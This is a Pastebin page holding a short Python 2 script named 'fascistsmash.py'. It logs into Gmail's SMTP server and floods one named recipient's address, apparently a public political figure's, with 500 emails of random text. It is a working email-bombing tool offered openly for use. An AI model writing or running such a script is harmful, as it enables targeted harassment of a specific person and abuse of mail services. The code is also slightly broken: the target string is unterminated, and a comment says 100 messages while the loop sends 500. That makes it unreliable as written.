Advertisement
Guest User

fascistsmash.py

a guest
Aug 16th, 2017
637
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.07 KB | None | 0 0
  1. # fascistsmash.py
  2. import smtplib
  3. import string
  4. import random
  5.  
  6. def sendmail(msg, recipient):
  7. try:
  8. server.sendmail("Fuck Fascism", recipient, msg)
  9. except Exception, R:
  10. print R
  11.  
  12. def randomgen(length):
  13. n = ""
  14. for i in range(1,length):
  15. n+=random.choice(string.ascii_letters)
  16. return n
  17.  
  18. def generatemessage(subject, content):
  19. return 'Subject: Fuck Fascism %s\n\n%s' % (subject, content)
  20.  
  21.  
  22. try:
  23. # Define an smptp object to connect with
  24. server = smtplib.SMTP_SSL()
  25. print "Defined server"
  26.  
  27. # And connect it to google's smtp server
  28. server.connect("smtp.gmail.com",465)
  29. print "Connected"
  30. server.ehlo()
  31.  
  32. server.login("user@gmail.com", "password") #replace these
  33. print "Completed login"
  34. target = "richardbspencer@mc.com
  35.  
  36. # Send a message with a random subject and body 100 times
  37. for i in range(500):
  38. message = generatemessage(randomgen(12), randomgen(50))
  39. print "Load!"
  40. sendmail(message, target)
  41. print "Fire!"
  42. except Exception, R:
  43. print R
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement